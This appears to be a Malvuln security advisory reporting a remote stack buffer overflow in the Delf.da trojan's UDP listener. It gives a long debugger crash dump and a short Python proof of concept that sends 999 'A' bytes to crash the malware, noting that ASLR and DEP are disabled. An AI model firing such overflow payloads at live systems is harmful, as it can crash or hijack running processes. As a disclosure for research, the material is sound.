TROJAN-DROPPER.WIN32.DELF.DA / Remote Stack Buffer Overflow (UDP Datagram)

2021.03.20
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a2f1adfd7a35fd0e0207a24be169b4c1.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Dropper.Win32.Delf.da Vulnerability: Remote Stack Buffer Overflow (UDP Datagram) Description: Delf.da malware listens on UDP port 37031. Adversaries who can reach the infected system can send a payload of just 999 bytes and trigger a classic stack buffer overflow. This will overwrite ECX and EIP stack registers potentially allowing control of the malwares execution flow. Type: PE32 MD5: a2f1adfd7a35fd0e0207a24be169b4c1 Vuln ID: MVID-2021-0137 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 03/19/2021 Memory Dump: (fc8.564): Access violation - code c0000005 (first/second chance not available) eax=00000000 ebx=00000000 ecx=41414141 edx=77129d70 esi=00000000 edi=00000000 eip=41414141 esp=000a1430 ebp=000a1450 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 41414141 ?? ??? 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe *** ERROR: Module load completed but symbols could not be loaded for Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe FAULTING_IP: Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+2853 00402853 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] EXCEPTION_RECORD: 0019f7c0 -- (.exr 0x19f7c0) ExceptionAddress: 00402853 (Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+0x00002853) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 001a0000 Attempt to write to address 001a0000 PROCESS_NAME: Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000008 EXCEPTION_PARAMETER2: 41414141 WRITE_ADDRESS: 41414141 FOLLOWUP_IP: Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+2853 00402853 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] FAILED_INSTRUCTION_ADDRESS: +2853 41414141 ?? ??? MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 IP_ON_HEAP: 41414141 The fault address in not in any loaded module, please check your build's rebase log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may contain the address if it were loaded. IP_IN_FREE_BLOCK: 41414141 CONTEXT: 0019f810 -- (.cxr 0x19f810) eax=000003e7 ebx=042fcb10 ecx=0000002b edx=0019fcc6 esi=042fce6c edi=0019fffe eip=00402853 esp=0019fc70 ebp=0019fc80 iopl=0 nv up ei pl nz na pe cy cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010207 Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1+0x2853: 00402853 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] Resetting default scope FAULTING_THREAD: ffffffff BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141 LAST_CONTROL_TRANSFER: from 004ae449 to 00402853 STACK_TEXT: 0019fc70 00402853 trojan_dropper_win32_delf_da+0x2853 0019fc88 004ae449 trojan_dropper_win32_delf_da+0xae449 0019fcf8 41414141 unknown!printable+0x0 0019fcfc 41414141 unknown!printable+0x0 0019fd00 41414141 unknown!printable+0x0 0019fd04 41414141 unknown!printable+0x0 0019fd08 41414141 unknown!printable+0x0 0019fd0c 41414141 unknown!printable+0x0 0019fd10 41414141 unknown!printable+0x0 0019fd14 41414141 unknown!printable+0x0 0019fd18 41414141 unknown!printable+0x0 0019fd1c 41414141 unknown!printable+0x0 0019fd20 41414141 unknown!printable+0x0 0019fd24 41414141 unknown!printable+0x0 0019fd28 41414141 unknown!printable+0x0 0019fd2c 41414141 unknown!printable+0x0 0019fd30 41414141 unknown!printable+0x0 0019fd34 41414141 unknown!printable+0x0 0019fd38 41414141 unknown!printable+0x0 0019fd3c 41414141 unknown!printable+0x0 0019fd40 41414141 unknown!printable+0x0 0019fd44 41414141 unknown!printable+0x0 0019fd48 41414141 unknown!printable+0x0 0019fd4c 41414141 unknown!printable+0x0 0019fd50 41414141 unknown!printable+0x0 0019fd54 41414141 unknown!printable+0x0 0019fd58 41414141 unknown!printable+0x0 0019fd5c 41414141 unknown!printable+0x0 0019fd60 41414141 unknown!printable+0x0 0019fd64 41414141 unknown!printable+0x0 0019fd68 41414141 unknown!printable+0x0 0019fd6c 41414141 unknown!printable+0x0 0019fd70 41414141 unknown!printable+0x0 0019fd74 41414141 unknown!printable+0x0 0019fd78 41414141 unknown!printable+0x0 0019fd7c 41414141 unknown!printable+0x0 0019fd80 41414141 unknown!printable+0x0 0019fd84 41414141 unknown!printable+0x0 0019fd88 41414141 unknown!printable+0x0 0019fd8c 41414141 unknown!printable+0x0 0019fd90 41414141 unknown!printable+0x0 0019fd94 41414141 unknown!printable+0x0 0019fd98 41414141 unknown!printable+0x0 0019fd9c 41414141 unknown!printable+0x0 0019fda0 41414141 unknown!printable+0x0 0019fda4 41414141 unknown!printable+0x0 0019fda8 41414141 unknown!printable+0x0 0019fdac 41414141 unknown!printable+0x0 0019fdb0 41414141 unknown!printable+0x0 0019fdb4 41414141 unknown!printable+0x0 0019fdb8 41414141 unknown!printable+0x0 0019fdbc 41414141 unknown!printable+0x0 0019fdc0 41414141 unknown!printable+0x0 0019fdc4 41414141 unknown!printable+0x0 0019fdc8 41414141 unknown!printable+0x0 0019fdcc 41414141 unknown!printable+0x0 0019fdd0 41414141 unknown!printable+0x0 0019fdd4 41414141 unknown!printable+0x0 0019fdd8 41414141 unknown!printable+0x0 0019fddc 41414141 unknown!printable+0x0 0019fde0 41414141 unknown!printable+0x0 0019fde4 41414141 unknown!printable+0x0 0019fde8 41414141 unknown!printable+0x0 0019fdec 41414141 unknown!printable+0x0 0019fdf0 41414141 unknown!printable+0x0 0019fdf4 41414141 unknown!printable+0x0 0019fdf8 41414141 unknown!printable+0x0 0019fdfc 41414141 unknown!printable+0x0 0019fe00 41414141 unknown!printable+0x0 0019fe04 41414141 unknown!printable+0x0 0019fe08 41414141 unknown!printable+0x0 0019fe0c 41414141 unknown!printable+0x0 0019fe10 41414141 unknown!printable+0x0 0019fe14 41414141 unknown!printable+0x0 0019fe18 41414141 unknown!printable+0x0 0019fe1c 41414141 unknown!printable+0x0 0019fe20 41414141 unknown!printable+0x0 0019fe24 41414141 unknown!printable+0x0 0019fe28 41414141 unknown!printable+0x0 0019fe2c 41414141 unknown!printable+0x0 0019fe30 41414141 unknown!printable+0x0 0019fe34 41414141 unknown!printable+0x0 0019fe38 41414141 unknown!printable+0x0 0019fe3c 41414141 unknown!printable+0x0 0019fe40 41414141 unknown!printable+0x0 0019fe44 41414141 unknown!printable+0x0 0019fe48 41414141 unknown!printable+0x0 0019fe4c 41414141 unknown!printable+0x0 0019fe50 41414141 unknown!printable+0x0 0019fe54 41414141 unknown!printable+0x0 0019fe58 41414141 unknown!printable+0x0 0019fe5c 41414141 unknown!printable+0x0 0019fe60 41414141 unknown!printable+0x0 0019fe64 41414141 unknown!printable+0x0 0019fe68 41414141 unknown!printable+0x0 0019fe6c 41414141 unknown!printable+0x0 0019fe70 41414141 unknown!printable+0x0 0019fe74 41414141 unknown!printable+0x0 0019fe78 41414141 unknown!printable+0x0 0019fe7c 41414141 unknown!printable+0x0 0019fe80 41414141 unknown!printable+0x0 0019fe84 41414141 unknown!printable+0x0 0019fe88 41414141 unknown!printable+0x0 0019fe8c 41414141 unknown!printable+0x0 0019fe90 41414141 unknown!printable+0x0 0019fe94 41414141 unknown!printable+0x0 0019fe98 41414141 unknown!printable+0x0 0019fe9c 41414141 unknown!printable+0x0 0019fea0 41414141 unknown!printable+0x0 0019fea4 41414141 unknown!printable+0x0 0019fea8 41414141 unknown!printable+0x0 0019feac 41414141 unknown!printable+0x0 0019feb0 41414141 unknown!printable+0x0 0019feb4 41414141 unknown!printable+0x0 0019feb8 41414141 unknown!printable+0x0 0019febc 41414141 unknown!printable+0x0 0019fec0 41414141 unknown!printable+0x0 0019fec4 41414141 unknown!printable+0x0 0019fec8 41414141 unknown!printable+0x0 0019fecc 41414141 unknown!printable+0x0 0019fed0 41414141 unknown!printable+0x0 0019fed4 41414141 unknown!printable+0x0 0019fed8 41414141 unknown!printable+0x0 0019fedc 41414141 unknown!printable+0x0 0019fee0 41414141 unknown!printable+0x0 0019fee4 41414141 unknown!printable+0x0 0019fee8 41414141 unknown!printable+0x0 0019feec 41414141 unknown!printable+0x0 0019fef0 41414141 unknown!printable+0x0 0019fef4 41414141 unknown!printable+0x0 0019fef8 41414141 unknown!printable+0x0 0019fefc 41414141 unknown!printable+0x0 0019ff00 41414141 unknown!printable+0x0 0019ff04 41414141 unknown!printable+0x0 0019ff08 41414141 unknown!printable+0x0 0019ff0c 41414141 unknown!printable+0x0 0019ff10 41414141 unknown!printable+0x0 0019ff14 41414141 unknown!printable+0x0 0019ff18 41414141 unknown!printable+0x0 0019ff1c 41414141 unknown!printable+0x0 0019ff20 41414141 unknown!printable+0x0 0019ff24 41414141 unknown!printable+0x0 0019ff28 41414141 unknown!printable+0x0 0019ff2c 41414141 unknown!printable+0x0 0019ff30 41414141 unknown!printable+0x0 0019ff34 41414141 unknown!printable+0x0 0019ff38 41414141 unknown!printable+0x0 0019ff3c 41414141 unknown!printable+0x0 0019ff40 41414141 unknown!printable+0x0 0019ff44 41414141 unknown!printable+0x0 0019ff48 41414141 unknown!printable+0x0 0019ff4c 41414141 unknown!printable+0x0 0019ff50 41414141 unknown!printable+0x0 0019ff54 41414141 unknown!printable+0x0 0019ff58 41414141 unknown!printable+0x0 0019ff5c 41414141 unknown!printable+0x0 0019ff60 41414141 unknown!printable+0x0 0019ff64 41414141 unknown!printable+0x0 0019ff68 41414141 unknown!printable+0x0 0019ff6c 41414141 unknown!printable+0x0 0019ff70 41414141 unknown!printable+0x0 0019ff74 41414141 unknown!printable+0x0 0019ff78 41414141 unknown!printable+0x0 0019ff7c 41414141 unknown!printable+0x0 0019ff80 41414141 unknown!printable+0x0 0019ff84 41414141 unknown!printable+0x0 0019ff88 41414141 unknown!printable+0x0 0019ff8c 41414141 unknown!printable+0x0 0019ff90 41414141 unknown!printable+0x0 0019ff94 41414141 unknown!printable+0x0 0019ff98 41414141 unknown!printable+0x0 0019ff9c 41414141 unknown!printable+0x0 0019ffa0 41414141 unknown!printable+0x0 0019ffa4 41414141 unknown!printable+0x0 0019ffa8 41414141 unknown!printable+0x0 0019ffac 41414141 unknown!printable+0x0 0019ffb0 41414141 unknown!printable+0x0 0019ffb4 41414141 unknown!printable+0x0 0019ffb8 41414141 unknown!printable+0x0 0019ffbc 41414141 unknown!printable+0x0 0019ffc0 41414141 unknown!printable+0x0 0019ffc4 41414141 unknown!printable+0x0 0019ffc8 41414141 unknown!printable+0x0 0019ffcc 41414141 unknown!printable+0x0 0019ffd0 41414141 unknown!printable+0x0 0019ffd4 41414141 unknown!printable+0x0 0019ffd8 41414141 unknown!printable+0x0 0019ffdc 41414141 unknown!printable+0x0 0019ffe0 41414141 unknown!printable+0x0 0019ffe4 41414141 unknown!printable+0x0 0019ffe8 41414141 unknown!printable+0x0 0019ffec 41414141 unknown!printable+0x0 0019fff0 41414141 unknown!printable+0x0 0019fff4 41414141 unknown!printable+0x0 0019fff8 41414141 unknown!printable+0x0 0019fffc 41414141 unknown!printable+0x0 STACK_COMMAND: .cxr 000000000019F810 ; kb ; dt ntdll!LdrpLastDllInitializer BaseDllName ; dt ntdll!LdrpFailureData ; dds 19fc70 ; kb SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: trojan_dropper_win32_delf_da+2853 FOLLOWUP_NAME: MachineOwner MODULE_NAME: Trojan_Dropper_Win32_Delf_da_a2f1adfd7a35fd0e0207a24be169b4c1 IMAGE_NAME: Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe DEBUG_FLR_IMAGE_TIMESTAMP: 2a425e19 BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_trojan_dropper_win32_delf_da+2853 FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Trojan-Dropper.Win32.Delf.da.a2f1adfd7a35fd0e0207a24be169b4c1.exe!Unknown Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=37031 def doit(): s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD="A"*999 s.send(PAYLOAD) s.close() print("Trojan-Dropper.Win32.Delf.da / Remote Stack Buffer Overflow (UDP)") print("MD5: a2f1adfd7a35fd0e0207a24be169b4c1") print("Malvuln") if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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